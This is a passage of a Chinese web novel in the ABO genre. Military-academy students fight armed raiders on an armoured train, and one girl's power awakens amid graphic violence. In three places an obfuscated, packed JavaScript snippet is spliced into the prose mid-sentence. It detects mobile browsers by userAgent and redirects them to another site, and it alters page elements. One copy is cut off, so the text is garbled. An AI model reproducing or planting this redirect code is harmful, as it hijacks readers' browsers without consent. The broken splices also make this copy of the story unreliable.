太过于顺理成章了,以致于她甚至想要停下来确认一下,自己是不是领悟错了,在接到信号之前就自以为是的行动了? 然而尤利娅没有丝毫迟疑。 她流畅的进攻着,用漂亮的步法和旋击,稳稳的牵引住了三面的敌人。利用车厢上狭窄的地形,精妙的限制住了敌人在速度和跳跃力上的优势。两个女孩优美的身姿武动在轰然飞驰的列车上,轻盈又不失锋利,如钢铁铸造的蔷薇。 黎晓于是放开了疑虑——哪怕她一开始确实领悟错了,眼下配合也显然是正确的。 一旦安下心来,她进攻的本性便又浮上水面。 当她意识到自己就只需要应对一个敌人,而对方其实并没有她认为的那么敏捷时,比起格挡,她本能的就想尝试抡一炮筒进攻。 然后她就抡了。 导力驱动的肩炮重二十二公斤,对着面门全速抡过去,杀伤力未必有多强,破防却是足够的。 敌人立刻刹住脚步后仰躲避,炮口距离他的脸大概只有一公分距离。眼看就要被闪过。 瞬息胜负之间,黎晓咬着牙稳住重心,松开了一只手。身体完全侧过来,追加了半面肩膀的长度。 炮口于是携着失控的加速,狠狠的砸歪了敌人的下巴。 黎晓没能单手抓稳那口肩炮,手指脱力一松,炮便携着撞击的余威,和受伤的敌人一起摔飞出去。 黎晓抢前了一步,抓住了飞出去的肩炮,却彻底失去了重心,几乎被惯性拖着飞下列车。 尤利娅及时揽住了她的腰,右手手中武器化作金属的绳索箍住肩炮。带着黎晓的身体大步一旋,厚重的肩炮便削出一个凌厉十足的圆弧,逼退了剩余的敌人。 化解掉黎晓的危急,她顺势再度将黎晓推到身后。手中武器化作巨大的盾牌,格挡住了敌人的反扑。 “干得漂亮。”她说。 黎晓提了肩炮想再上前配合,然而右手脱臼,却丁点儿力气都使不出来了。 尤利娅却已经料到了她的状况,头也不回的说,“剩下的交给我吧。” 她双手同时握住盾牌,那盾牌竟被她一分为二,化作两柄反曲面的长刀,砍向来袭的敌人。 她便手持双刀,向敌人杀去。 黎晓焦急的想要还原关节。 然而骤然间脱战,厮杀时飙升的肾上腺素被中断了,过度施力的后果终于追了上来。疼感回归的同时,气力却消失了。她疼得头脑空白,手也在微微的发着抖。只能暂时缓下进攻,咬着牙检查手上的伤势。把扭伤脱臼的手指和手腕掰回去。 夜风很凉,被冷汗浸透又被夜风浸透的皮肤也很凉。 她抱着手和手臂,焦急却不得不按捺住。静心调息,凝聚导力缓解伤处的僵冷和痛感。 待她终于稍稍从疼痛中舒缓过来,擦了一把脸上被吹得冷透了的汗渍,准备再次投入战斗时,才发现粘腻的并非汗渍,而是血。 又过了片刻,她才意识到——刚刚被她打烂了半张脸摔下列车的,是一个“人”。 ——那个人的血,溅到了她的脸上。 她没有再继续想下去。 只是收回心神,飞快的观察了眼下的战况。 ——战斗还远远没有结束。 战线已经从前三节车厢铺开延长到整趟列车,从一号车厢到最远的十三号车厢,到处都在激战。 但前方和后方的战况大不相同。 前方有成铭和陆清源,并且先前回到车上的出战人员也有人折返支援,他们每一个都是新生里战力最顶尖的,并且还佩戴着最强大的流金属手甲和武器。虽说来袭的黑衣人大部分都聚集在列车前部,实际上反倒是成铭他们占据优势。 而后方除了尤利娅在以一敌三,更靠后的车厢上,还有另外两个跟黎晓一起被选中出战的接引人,在试图阻拦三四个敌人。 ——她还不能脱战,得再做些什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726872|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么才成。 敌方的目标应该在列车后部——黎晓想。 在车厢顶跟他们缠斗,显然不是敌人的主要目的。最初决定登车袭击时,他们肯定有另外的作战计划。 是什么? “成铭!”她开口提醒,“先支援后面的车厢,后面人手不足。” 成铭追击阻拦着列车前部的敌人,距离她所在的车厢最近——列车顶上的空间太过狭窄了,不论对敌人还是对他们都是一样。战线铺排不开,并且比起庞大的火力,其实更依赖过人的稳定感和矫健的身手。纵使占据优势,一时之间却也难以速胜。 何况……当作战对象是人时,这些尚未经过残酷洗礼的学生,越是天生强大,反而越是会下意识的收敛杀伤。因此前方其实陷入了缠斗。 成铭闻声,迅速脱身向后支援。 如黎晓所料,他的脱战并没有引起战线崩溃,陆清源及时补位阻拦。战线被进一步拉长之后,被卡在车头不得施展的安德烈也很快腾挪开来。 错身而过的瞬间,黎晓提醒他,“留神□□。” ——虽目前跟他们对战的黑衣人并没有要炸车的迹象,但能对这趟钢铁装甲列车本身造成杀伤的,似乎也只有□□了。 成铭的目光扫过她的手腕,却没有停留。只顺路砍翻一个去围攻尤利娅的黑衣人,便毫不恋战的冲向后部车厢。 他的加入令后方战局瞬间逆转。 而变故就在此刻发生了。 从后方突然传来一声吼叫,“引爆!” ——是敌人发出的。 所有人的动作都不由为之一滞。 黎晓也下意识的调动导力,做好了抵御爆炸冲击的准备。 然而预告中的爆炸,却并没有发生。 但这显然并非是敌人的疑兵计——至少不是提前商量好的疑兵计。 因为黎晓分明从他们的脸上也看到了诧异的神色——爆炸居然没有预期发生,这个意外令他们也明显焦灼动摇起来。 尤利娅立刻趁胜追击。 而后……第二次意外发生了。 这一次黎晓看得清清楚楚——围攻尤利娅的三个人里,其中一人脱战,试图向最近的车厢接合处插|入什么东西。而后那东西就在他手中爆炸了。 爆炸产生的冲击波被突然出现在空气中的蜂巢状盾牌挡住,并没有波及到尤利娅。 然而……有人在她们的眼前炸开了。 一个完整的人瞬间就化作碎肉,鲜血和残肢四溅。 ……死前甚至都没能发出一声惨叫。 飞向她们的血肉大部分都糊在了那面盾牌上,却也有一些溅到了她们脸上。 尤利娅那双原本充满了斗志的明亮的冰蓝色眼睛,瞬间就失去光芒,被凝重的恐惧、被鲜血和黑夜冻结了。 她手中双刀已砍在了敌人身上,然而战斗的意志已彻底从她身上褪去。 她松开了武器,下意识后退了一步。 那武器失去操控者,再度化作重重叠叠的流金属立方结晶,悬浮在空气中。 她眼前的敌人比她更先一步回过神来。 ——那蜂巢状的盾牌显然是“守护者之盾”。 此刻他们终于意识到自己棋差一招,列车上分明还有另一个可以使用“守护者之盾”的披甲骑士,他身在暗处自始至终都没有露面。他们以为自己有机可趁,以为阻住他们的只是这几个学生。实际上整个战局始终都在骑士的掌握中,他们不过是被“他”拿来给这几个学生练手的罢了。 他们是练兵的工具,甚至不被允许伤到这些学生。。 意识到自己绝无胜算,他们却并没有逃亡的打算。反而像是仿佛放开了所有束缚一般,更疯狂的攻上前。 其中一人伸手去抓被尤利娅丢开的武器。 黎晓也不知自己为什么还能动——爆炸的耳鸣声将她整个人都钉在了冰冷的钢铁装甲上,眼前飞溅的血肉仿佛直到此刻还没有落定。脑海中似乎闪过了一辈子经历过的所有事,她的全副身心都在逃避和拒绝这一刻,拒绝接受这种阅历和目击。 可是,她的身体确实依旧在动。 就像过往每一次——□□已到极限,精神濒临崩溃,本能在告诉她逃啊赶紧逃走这样的人生太痛苦了,但身体依旧在挣扎着向前进。 她抢在敌人的前面,抓住了已经还原做流金属立方的武器。 挡在了崩溃的尤利娅身前。 42. 荆棘与蔷薇(十二) 武器回应了她。 当她的手探及流金属的表面时,堆叠的立方体便开始流动变形,包裹住了她的手。无需触发,体内的回路便已和流金属的回路接通。而后,导力开始流动。 这种感觉很巧妙——那是一件武器,却又仿佛是身体的另一个肢体,是自身手臂的延伸。 握住它的那刻,她自然便知晓她能像使用自己的手臂一样使用这武器。 这武器能配合她的一切诉求。 然而这种美好的感觉只持续了一瞬间。 她是一个omega——尽管黎晓很明确的知道、并接受了这个现实,但每次她重新认识这个性别时,总要遭遇比她已经知晓和接受了的,还要更进一步的痛苦和不甘。 她不过是握住了那武器,她甚至都没有想要持有它。 然而那短暂一瞬间的“握住”,便几乎吸干了她回路里流淌的所有导力。 体内所有的导力都涌向了那武器。和血管、神经伴生的导力回路循环通道瞬间枯竭至干瘪,却依旧在源源不断的从她的身体里汲取能量,向那武器输送。她体内所有的细胞都在疼痛和哀鸣,仅仅是握住它,便仿佛是一场夺舍般痛苦的刑罚。 可是她必须挥动它。 她必须将自己化作盾牌保护她和尤利娅的生命,给尤利娅争取振作的时间。 “尤利娅——” 原本她只是想打断尤利娅的惊恐,唤她回神。 然而这短暂的一瞬间无数情绪涌入她的内心。她咬住了剧痛,那声呼唤也仿佛像在宣泄痛苦和不甘一样愤怒粗暴。 她挥动了那因为导力供给不足而没有稳定形体的流金属武器。 那流金属像熔化的铁流般裹着她的手臂,和敌人的刀剑相撞了。 碰撞的瞬间,不稳定的导力引发了预期之外的斥力爆破,她和敌人都没有掌握好平衡,同时被掀翻出去。 尤利娅接住了她。 她的名字是尤利娅,这是她的妈妈所取的名字。 当她年幼时,他们一家居住在卢瓦市——说是居住,实质上只是房子在卢瓦市。他们常年都漂泊在海上,每年在陆地上居住的时间总共还不到一个月。她的父亲是船主兼大副,她的妈妈是船上的导航员。她奔跑穿梭在船上一切能奔跑穿梭的地点,不止一次因为擅自爬到桅杆上追海鸥,被妈妈按在膝盖上打屁股。 她哭着鼻子跑去找爸爸告状,爸爸就把她举起来,亲昵的叫着她的名字用胡子扎她。 “尤利娅。”第一个音节高高的抛起,第二个音节重重的落下,第三音节轻轻的接住。 像是在说我亲爱的小姑娘,你这么调皮要让我拿你怎么办呀。 亲昵、快活又无奈。 ——尤利娅。 但那是粗鲁蛮民的叫法。青骑士是拉丁人的贵族,而她的妈妈却是个至少混了八族血统的连自己的祖父姓甚名谁都说不清的东河谷蛮民。 没错——青骑士家的继承人,为了跟东河谷的蛮民女子在一起,丢下家族跟她私奔了。 在海上自由的浪荡了七八年,还生下了一只小海鸥,但终究还是被家族找回去了。 而被接回家族后,被夺走的第一件东西,便是她的名字。 ——尤利娅。 他们说她可以继续叫“尤利娅”,但这个名字的正确叫法是“朱丽叶”。而家族给她的名字是蕾雅。 所以她正确的名字叫做朱丽叶-蕾雅·罗贝尔。 但这其实是件很无所谓的事。 她并不怀念幼时的自己,当然也不讨厌。那就是她人生中自然而然到来、经历和结束的一个阶段。 譬如五六岁的时候她撒欢在桅杆上奔跑,譬如七八岁的时候的她把找她茬的男孩子按在地上暴揍。 譬如九岁之后,她一直都在发怒。 她的妈妈不理解她为什么会愤怒——这个聪明的女人拒绝学习“正确的语言”,所有不爱听的话她都用“我听不懂”来回答。每天就跟她那个不务正业的丈夫,嘻嘻哈哈的干着自己喜欢的事。 她的爸爸也总是跟她说,“尤利娅你放松些,你现在是家族唯一的继承人。是他们害怕失去你,而不是相反。你就随便糊弄一下好了,别被他们牵着鼻子走呀。” ——他们两个从一开始就明确拒绝去继承什么“家族”,所以这样的态度无可厚非。 但她做不到。 尤利娅想要继承青骑士家族,继承祖先一脉传承下来的神赐礼装。 为什么不继承? 为什么不能是她继承? 没有人质疑陆清源为什么要继承陆家,也没有人质疑安德烈凭什么是罗西家的继承人。 怎么轮到她,却要被问“为什么”和“凭什么”? 她比所有人都更努力、更自律、更强大,也更坚韧。 可她依旧是个“不合格”的继承人,是非到万不得已,不会被纳入考量的“最坏选择”。 陆清源是合格的,那个脑回路异常的安德烈·罗西也是合格的。 只有她是不合格的。 因为在古老的语境中,女性alpha是不存在的。人们只从男性中甄别alpha,因为他们执掌权力驾驭武器引领部族,而从女性中甄别omega,因为她们温顺可人,能诞下最优质的子嗣。 而神赐骑士是古老语境的延续,是荣光的代表。是不容篡改的“传统”。 哪怕时至今日,人们依旧无法想象,神赐骑士其实也可以是另外一个性别。 但是,第二性别的科学原理已经被揭示得清清楚楚。 正如世间存在着男性omega,女性alpha也是真实存在的。 在能力、野心、成绩上,她没有任何一点逊色于男性的alpha。甚至铸就她强大天赋的生理基础,都完全一致。 她是存在的。 她就站在这里。 安德烈·罗西说,她是个傻逼。 她明明是所有人中最幸福的,她拥有他们求之不得的一切。但她居然追求最恶臭腐朽的东西,非要以男人自居。 多么可笑。 他用“恶臭腐朽”来描绘自己拥有的特权,如此憎恨,却也没见他潇洒抛弃。 却要来嘲讽她居然想要追求这份特权。 以及,她从来都没有也不打算舍弃自己女性的身份。她就只是想要被当成一个“alpha”,一个和他、和陆清源一样被信任和寄予厚望的alpha。 可是所有人都自动把这种主张理解为,她想变成一个男人。 真正的“傻逼”,难道不该是这种自以为是的误读吗? 她凶猛的厮杀进了“alpha特指男性alpha”的世界里,要在所有人的面前,去争夺那个只有最强alpha才能夺取的席位。 她固然不能预见到所有困境和凶险,但她决绝而无悔,在进入的那一刻便已决定永不退缩。 她舍弃了“尤利娅”的名字,当然也憎恶被叫做“朱丽叶-蕾雅”。 既然她是她这个世代唯一的“罗贝尔”,那么她便是“罗贝尔”,青骑士家族的姓氏便是她的名称。 可是当黎晓询问她的名字时,她犹豫,却依旧说出了“尤利娅”这个名字。 ……面前的少女是个omega。 和她不同,omega是对“性别女”这个词汇最简单最纯粹的指代。 ——可是,她出现在了她的面前。 和她一样突破重围,杀进了被认为不该她踏足的领域。 当她们相遇的那刻,她那每时每刻都暴风肆虐的孤愤难平的内心,终于有一处缓缓平息下来。 于是她终于能在某个人面前,温和的吐露自己的真名,“尤利娅。” “尤利娅——”这一声嘶吼撕破血肉和残肢触发的恐惧,惊醒了她。 她是最强的alpha,她是该在这种场合保护战友的人。 怎么可能在此退缩! 尤利娅迎上前去,接住了黎晓摔倒的身体。 。 黎晓摔在尤利娅身上。 不论导力、体力还是精神,都已经濒临极限。 支撑着她不肯倒下去的,就只剩一份不甘心。 曾有人对她说——人有能做到的事,也有不能做到的事。并非所有东西都能强求,要学会适时放弃。 可是,若她想要的,都是些非得强求才能得到的东西呢? 为什么不能强求,为什么非要放弃? 若从一开始就不强求,她整个童年期都会生活那些如今她连名字都不记得的幼童alpha们的霸凌之下,哪怕她的父母把她送进武馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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——尤利娅本能的就理解这种“不理智”。 “配合我。”她再次提出这种请求。 而后她攥住大部分质量,将流金属强行撕开——那武器于是一分为二,尤利娅手中的部分化作反曲面的长刀。剩余在黎晓手中的也终于化出形体,是一柄细长的西洋剑。 和第一次配合时一样。 自肌肉发力的方式自然便知晓对方进攻的方向,于是一触而发。 两个女孩一左一右,配合默契的同时杀了出去。 。 手中流金属的武器轻快凌厉得不可思议。 黎晓的精神也前所未有的专注。 仿佛进入了自己专属的领域中,时间被拉长。很多原本需要思考才能做出的决定变成了本能的反应。 ——身体和力量,完全能够跟得上眼和脑。 几乎没有任何意外的,眼前的敌人在几个呼吸之间就被打倒了。 然而还没有结束。 黎晓想——她必须得做更多的事,她已经受够了这种所有人都在奋战,只有她弱小无力的感觉了。 ……也受够了一个大活人就在她眼前炸成碎肉的场面。 如果她更强一些,如果她更早一些进入眼下的状态,一切肯定不会演变成眼下的模样吧。 ……为什么她没有更快一些呢? 她握着武器想要去支援其他的人。 却忽然间被拉住了。 。 尤利娅拉住了黎晓。 她的状态有些不对劲——而这其实也并不意外。 她正在经历回路觉醒,体内回路比发作期甚至还更活跃。然而不但没有足够的外环境导力供她吐纳,反而还要她向外输出导力。亢奋之下,这种原本就岌岌可危的状态随时都可能彻底失衡,陷入雪崩。 尤利娅已经能嗅到她身上传来的信息素的气息。 “黎晓!”她试图唤回黎晓的注意力。 黎晓听到了,她有些不在状态的回过头来。 尤利娅再一次尝试接管她手上的武器,却发现她的手指依旧紧扣着。 而她眼睛里已经有泪水聚集起来。 她悲伤的顽强着,所见的一切几乎要将她压垮了。可她依旧想要担起她所立足之处所有需要人来担起的责任。 亢奋之下情绪的崩溃失衡,是发作的前兆。 尤利娅于是毫不犹豫的握紧了她的手,凝视着她的眼睛,温和坚定的提醒她,“调整呼吸。” 而后俯身,吻住了她的嘴唇。 。 她们脚下的列车轰隆隆的飞驰在黎明之前最深的暗夜里。 43. 荆棘与蔷薇(十三) 黎晓茫然的睁大了眼睛。 有那么一会儿她脑子里只有一片空白。 但亢奋之下过度震惊导致的思维烧断也只持续了一会儿。 ——丰沛的导力流淌过来。 随之而来的,还有alpha信息素的气息。 芳香却不甜腻,醒神却不咄咄逼人人。 是她很喜欢的橙花香。 尤利娅在给她补充导力。 她想要安抚她。 那信息素率直、纯粹又令人安心。和她过去接触过的,和她记忆中、印象中的截然不同。 原来,alpha的信息素并不意味着压服、侵占和掌控欲。 原来,它也能传达平和正常的人类情感。 也对。 若alpha的信息素就只意味着威压和侵略,那么omega的信息素又意味着什么? 引诱和怂恿吗? 所以生而为omega,他们是天生的卑贱淫|荡者吗? 明明不是这样的。 信息素只是情感的外泄罢了,和语言一样是沟通的手段。 可是人们怂恿alpha的掠夺欲和征服欲,放任他们长成肆无忌惮的暴君。于是他们每次释放自己的信息素都像是饿虎在肆意释放着威压,咆哮、命令着“服从我”。 他们的信息素词汇匮乏、情感缺失,就像是贪婪饥渴的怪兽般畸形可怕,令人厌恶和畏惧。 可是人格完整的alpha,她所释放出来的信息素,不是这样的。 正常的alpha和omega相遇,并非一场性的狩猎。 当信息素的气息传递过来时,黎晓几乎一瞬间便明了了alpha和omega之间真正的“浪漫”所在。 明明是初相识,却如故友重逢一般默契和相知。 因为他们能读懂彼此的信息素,可以不通过语言便明了彼此的人格,在更深、更接近灵魂和心灵的层面上,直接沟通。 在领会到尤利娅的意图之后,本能的紧绷起来的身体瞬间渐渐松懈下来。 她松开了手里的武器。 理智重新回到了她的身体。 她终于感受到了体内的异常——体内所有回路都苏醒过来,导力的洪流沿着回路激越的冲撞,全身的细胞都随之雀跃,令她的体质和情绪都异常的亢奋。 沿着回路,全身都泛起细微的麻痒和刺痛感。那是导力冲破回路里的间隔贯通如一时,刺激到临近的神经引起的。 ……是回路觉醒。 她终于想起自己先前听到的话——调整呼吸。 她于是闭上眼睛,专心的调息。收束着无序冲撞的导力,全力冲击着闭塞的回路,将它们一一打开。 这并非她第一次经历回路觉醒。 只不过在遥远闭塞的嘉洛琳,身边没有什么人能够给她提醒和引导。很多事她都是经历之后——甚至直到遭遇意外,才明白自己身上发生过什么。 她并不记得之前几次觉醒都是在什么时候,都有些什么预兆和感觉。 而这一次的感受,未免过于鲜明。 她闭上了眼睛,四周的一切却变得更加清晰。 觉醒的感官突破了身体的极限,她甚至可以通过环境中导力的流动,在脑中勾描出比眼睛所能观察到的更多的信息和细节。就像是开启了另一双,能看穿一切的眼睛。 脚下的列车上,遍布整个车身的导力回路在脑海中亮起,并顺着铁轨延伸向无限的远方。 思维仿佛自身体里脱离,她不由自主向着铁轨的尽头追逐未知。于是一切都开始飞驰,并且越来越快。终于在某个瞬间,所见一切仿佛化作飞逝的数据流,光一般无限的奔涌而来。 。 唇齿间流淌的导力渐渐平缓。 黎晓体内活跃的回路也渐次平息下来。 尤利娅于是知晓,这一次导力突破已经接近尾声。 她松开黎晓的嘴唇,观察着她的状况。 随着突破结束,黎晓终于从冥想中苏醒过来。 然而并未出乎尤利娅的预料,回路突破和深度冥想耗尽了她的体力和精神力。睁开眼睛看到尤利娅,思绪回归现实的瞬间,黎晓便失去了意识,昏睡在她的怀里。 交换的导力量超出尤利娅的预估,有些过于庞大了,她此刻其实也有些许力竭。 却还是将黎晓抱起来,想要先送她回车厢里。 车厢上的战斗已经结束了。 大部分歹徒都被甩下了列车,被俘的只有寥寥四五人。正被依次从车厢顶上押送下去。 先前一起战斗的人明显都对尤利娅和黎晓的举动感到在意,却也没人会不看眼色上前质询。 尤利娅自然也不会想要主动解释。 但她毕竟是“受命出击”,总有些必要的程序需要履行。 于是她转向陆清源,向这位临时的队长报告,“因突发回路觉醒,她已力竭昏迷。我要送她去医务室,申请提前脱队。” 照明弹已经彻底燃尽,而朝阳尚未升起。 人的五官都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726874|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淹没在黑暗中,根本看不清表情。 然而alpha的身体素质赋予了她过于敏锐的知觉,她还是看清了陆清源的目光,也读懂了他身上信息素所传递来的情绪。 若在过去,她必定会为自己终于令这个人意识到她的挑战、激起了他的怒火而感到亢奋。 可此刻她就只感到疲倦和厌恶。 ——原来就连这个男人,也“不过如此”。 在他们眼中,纵使做到她这一步,她也依旧不是一个alpha;纵使做到黎晓这一步,她也依旧只是一个omega。 这还真是令人倦怠,并且失望透顶的现实。 陆清源说,“她隶属第一连队,是我的队员。我会送她去医务室,你可以放下她了。” 他的目光和信息素已经泄露了他内心真实的感受,然而嘴上却还是滴水不漏的那一套,仿佛他当真毫无企图。 甚至他或许还认为自己已经足够克制了。 是的,克制。 她冒犯了他的领域,染指了他的omega,而他居然克制住了自己的情绪。 这是多么稀少的美德。 ——这是多么扭曲的傲慢。 “她是我的战友。”低郁的嗓音下压抑着愤怒。那双冰蓝色的眼睛里聚起浓郁的艳蓝,仿佛冰下有火在燃烧。已还原做流金属立方的武器再次浮空,仿佛随时可以幻化出锋刃。她没有摆出战斗的姿势,但每个人都察觉到了她对抗的决意,“在她醒过来之前,我不会让你们任何一个人靠近她。” 身后有风声传来时,尤利娅紧绷的神经在一瞬间断掉。她侧身避让,悬浮在身侧的流金属立方也化作环刃,同时向三面展开了刀锋。 刀锋擦着成铭的手腕停住。 成铭看向黎晓,平静的说道,“医务室在十三车厢,从后面走更近些。” 而后他挡在了尤利娅和黎晓身前,面向陆清源。 尤利娅犹未意识到,有一个人站在了她这一边。 ——她有过太多孤身对抗所有人的经历,当有人站出来时,往往是为了居中调停。 而他们的调停,每每都会让她进一步了解到自己究竟有多么不得人心。 但她还是很快便醒悟过来。 不再理会身后,抱着黎晓大步向最后一节车厢走去。 安德烈轻轻按住了陆清源的肩膀。 陆清源抬手遮住自己的眼睛,片刻后,有些烦乱的挥开安德烈的手,也转身一言不发的离开了。 -荆棘与蔷薇·完- 44. 荆棘与蔷薇(十四) 黎晓醒来时天色已经大亮。 列车依旧奔驰在如动脉一般贯穿着大树海的“绿荫回廊”上,没有抵达铁马镇。 透过车窗可以望见窗外飞速掠过的一棵棵梓木,梓木之外暂时是风景如画连绵起伏的草原。 车速比昨天要快了不少。 车轮撞击铁轨间隙发出的声音急促又平稳。 世界安静有序得有些令人生倦,昨晚发生的一切仿佛只是一场梦。 但当然不是梦。 黎晓躺在医疗室唯一的那张床上,看着车厢顶上裸露着钢管的黑铁板压铸的硬朗朴健的车顶,回忆起昨晚所见的——密布回路的列车框架。那回路的走向她此刻还能描摹得出——她对于图形的记忆力一向都精准可靠——确实是和列车的结构细节契合的。 她闭上眼睛想要再尝试一下昨夜的“视觉”,却已经做不到了。 那种仿佛潜入“导力”的世界,透过物质的外壳,直接看见回路构成的“导力骨架”的能力,她确实取得过,但只发生在她昨夜回路觉醒陷入冥想时。 但,那当真是冥想吗? 她没有再多尝试。 ——过量的“数据”涌入脑中的感觉过于疲惫,超越她的大脑所能负荷的极限。 直到此刻,她其实依旧没能完全恢复思考和感受能力。 她闭上眼睛,想要再休息一会儿。 却已经不由自主再次陷入思考了。 ——她记得,昨晚登上列车的歹徒,曾将炸|弹楔进了车厢装甲的缝隙,想要将这一节车厢从整趟列车上卸下来。 仔细回想,所有歹徒登车之后,确实都是向着列车后部进攻的。 当然,也不排除这是攻占车头的计划被陆清源和成铭粉粹后,被迫作出的取舍。 但也恰可以证明——最后这节车厢,才是他们势在必得的目标。 而这节车厢上,回路所交织成的框架也确实是与众不同的。 ——并不是因为医疗器械的存在。 而是因为,这里存放着一件过于独特又复杂的东西。 她下意识的睁开眼睛,看向了医生的办公桌。 入目所见只有机箱和显示屏……她的目光没有穿透桌面的遮挡,看到里面的内容物。 这让她略嫌迟钝的思维,稍稍滞涩了一秒钟。 “在找什么?”医生含着戒烟糖发出的有些含混敷衍的声音传过来。 随后那个头发乱糟糟,胡茬比昨天还要长的颓唐大叔回过头来。懒洋洋的,因熬夜而干枯无光的眼睛看向她。 黎晓说,“不知道。” 开口之后,感官便也随之缓缓苏醒过来。 她揉了揉额头,想要坐起来说话。 却立刻得到了医嘱,“躺着说吧,你需要休息——珍惜能休息的时间,等到了训练基地可就没这待遇了。” 黎晓从善如流的躺回去。 但她心里确实有太多质疑和情绪,不吐不快。 “你们其实早就知道,这趟列车会被袭击吧。”她非常没技巧抛出了第一个问题。 对于她语气中透露出的情绪,医生没怎么当一回事。 “我只是个随车校医。”他已经回过头去继续玩游戏了,语气依旧含混敷衍,“这种问题别来问我。” 骗子。 黎晓想。 ——她所“看”到的那样东西,就放在他的办公桌的位置,由他亲自保管着。 那东西的重要程度,甚至让军方出动了未公布型号的装甲列车。不但大费周章的在列车上装载了护卫范围如此之大的“守护者之盾”,甚至还派出了两台骑士装甲。而前来劫持它的反叛武装,也大手笔的派出了媲美正规军的战力,冒着被政府军剿灭的风险暴露行踪,试图以密集火力逼停列车。 而他是负责看守那样东西的人。 怎么可能“只”是个随车校医? “他们直奔列车而来,交战时没有劫持学生的意图。”黎晓说,“显然是想要车上的某样东西。他们试图把这节车厢炸开,想来那东西就在这节车厢里吧。” “哦。”医生懒洋洋的敷衍着,“医疗车厢在大树海是紧俏的救命玩意儿,大概是想要这节车厢吧。” ……也不必这么敷衍吧。 黎晓想。 这么重的一节车厢,就算他们想要,也得有办法运走才行。 但她也没有心情反驳。 ——仅仅是稍作分析,就已经充分勾起了她对先前战斗的回忆。 她又想起了那个在她眼前被炸成碎肉的人。 ……在此之前她从未意识到,人类也可以是一团碎肉。那碎肉从结构到成分到视觉效果,都和案板上的碎猪肉相去无几。 人不是神圣的。 是可以猪一样草率任意的被杀死的。炸碎后像碎猪肉一样糊得到处都是,收尸人都未必知道自己收的到底是什么。 从存在、到尊严,全都被剥夺。 她为此而失神静默了片刻,思绪也一时被打断了。 “……没有人告诉我们,我们得和人作战。”失神间,话已脱口而出。 医生说,“这不就知道了吗。读军校还无需跟人作战,这等好事我可闻所未闻。” “可是,”黎晓说,“我读的是二军大,而这里是大树海。” 二军大是对魔兽特化作战军校,他们的作战对象应该是历史上曾威胁全人类延续的魔兽,目的是开拓大树海,探索这人类最后的共土,也是最后的净土。在这里,所有的人们都是战友,都有共同的敌人。 但当然,财富聚集之处势必会有争斗。这里确实免不了会有犯罪,有针对罪犯的巡逻和斗争。 可是,这里不该有人类战争。 然而那密集的火力覆盖、那双方都出动了的全礼装骑士装甲,无不昭示着这样的事实——这是一次战争。 这里有人类和人类之间的武装敌对。 “所以呢?”医生说。 屏幕里有对话框翻滚出来。 医生读完消息,停下了敲击键盘的手,烦恼的叹了口气,“……真是麻烦。” 他抽出戒烟糖,转了转椅面向黎晓,“在被派出去接应前,你不就已经猜到会有人来袭击了吗?” 她确实猜到了,她甚至猜到会有人劫车。 但从逻辑上猜到,跟实际上遇到;猜到会有冲突,跟亲见有人在她面前死掉——对内心的冲击力是不同的。 “我被选中出战,是因为我猜测会有人袭击?” “差不多。”医生摊了摊手,“挑选标准有两个,首先,判断出主谋是人类,对跟人作战有心理准备;其次,够强,最好有过实际对战经验。你完美符合出战标准——我还以为你心态能更强悍些,怎么也这么矫情。” “所以,你们确实对这次袭击了如指掌。”黎晓说。 “不用套我的话。”医生说,“机密行动,不该说的我一句也不会多说。也奉劝你,有些事不让你知道是为了保护你。世间正义不是你那颗读书读傻了的小脑袋瓜能梳理明白的,一无所知的完成任务,把思考判断留给别人,未尝不是一种幸运。” 但是她不想把思考这一“职责”留给别人。 ——就算进入军校前,她就已经有了“军人的天职是服从命令”的觉悟,她也从来都没打算放弃自己思考的权利。 甚或该说,在她心里,思考判断并不仅是为人的权利,也是为人的义务。 而昨晚有人在她面前死去了。 可想而知,若她继续沿着昨晚的道路走下去,有一天她或许将不得不为一些事去剥夺别人的性命。 而杀人,怎么可以是一件——仅仅服从命令,听取别人的思考判断——就能轻易说服自己去做的事? 成铭说“你根本不明白进入军校意味着什么”。 她现在意识到了——她确实不明白。 所以她更不能不去思考。 “昨晚的事,如果我非要追查原委,追查出来的结果,会动摇我心中的正义吗?”她轻轻的问道。 “这取决于你心里的正义是什么。”医生说。 “你不能告诉我,那些人抢夺的是什么东西吗?” 医生做了个“你知道还问我”的表情。 黎晓于是最后问道,“那么,至少告诉我们劫车的是些什么人吧?总不能连敌人是谁都不知道,就让我们去作战。” 医生说,“会告诉你们的,但现在还不是时候。”大概是面前omega过于平静的目光,让他多少感到有些不自在。想了一会儿他又补充,“你就当昨晚是一场演练,正常情况下还轮不到你们出战。你们还是学生,也许等你们毕业时,这边的战斗早已结束了。就算没结束,到时候再了解也还来得及。何必这么急于知道一切?就算知道了你又能怎么样?大学还有四年,毕业后你甚至都未必一定会进入军队。” 他最后又看了黎晓一会儿,“闭上眼睛,放空脑袋,好好休息一会儿吧。” 。 不知过了多久,车内广播再次响起,宣布列车内警戒解除。 医生于是揉了揉他的鸡窝头,打了个哈欠,起身离开了医疗车厢。 现在这节车厢里就剩她一个人了。 